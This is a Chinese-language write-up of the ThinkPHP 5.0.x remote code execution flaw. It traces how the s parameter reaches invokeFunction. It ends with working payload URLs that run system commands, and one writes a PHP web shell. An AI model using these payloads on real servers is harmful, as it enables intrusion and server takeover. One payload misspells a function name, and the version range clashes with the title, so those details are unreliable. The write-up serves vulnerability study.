Thinkphp5.0.22远程代码执行
| 作者 | 修订时间 |
|---|---|
| 2025-08-19 16:46:45 |
由于,thinkphp 5.0.23 以及5.1.31 之前的版本都未强制开启路由,所以,导致攻击者可以提交恶意参数导致远程代码执行
影响版本
thinkphp 当前版本< 5.0.22
漏洞分析
get请求
index.php?s=index/think\app/invokefunction&function=system&vars[0]=dir&vars[1][]=
1)从入口index.php 首先会来到 thinkphp 的初始化文件
thinkphp/library/think/App.php -> run()

2)因为漏洞POC与框架的url处理有关,所以直接跟到URL路由检测函数
thinkphp/library/think/App.php -> run()116

3)在这个方法中会检测 url参数,通过参数访问类或者方法 或者模板
thinkphp/library/think/App.php-> routeCheck()
该方法中,第620行 调用$request->path() 返回了 url中的s参数值

第643 会解析路由,如果 没有用路由会返回false

第 654行 当为无效路由时,会去解析兼容路由,

4)跟进 Route::parseUrl
thinkphp/library/think/Route.php->parseUrl()1217

该方法中,在第1225行 会将$url 即s参数中的值,/ 替换成|,用于解析 模板| 控制器|操作|参数

最终,往回走,将结果返回给 $result

5)最终回到run()方法中,
thinkphp/library/think/App.php > run() 139
在self::exec() 将获得的 $dispatch 做操作

6)继续跟进,由于 $dispatch 中的第一个参数为,'module'则会去调用,self::module

- 在self::module 第585行会做对比,看模板方法是否存在,存在则会进入if语句中

8.最后返回值,调用self::invokeMethod

在该方法中会生成ReflectionMethod对象,最后的返回值,调用 ReflectionMethod对象的invokeArgs 方法,该方法会回调一个方法 即 $args数组的第一个,即 invokeFunction

9)最后在InvokeFunction 方法执行危险函数

注:关于在ReflectionMethod的使用可参考
Payload
http://localhost/index.php?s=index/think\app/invokefunction&function=system&vars[0]=whoami&vars[1][]=
http://localhost/index.php?s=index/think\app/invokefunction&function=call_func_user_array&vars[0]=system&vars[1][]=whoami
http://localhost/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=sad.php&vars[1][1]=<?php eval($_POST[cmd])?>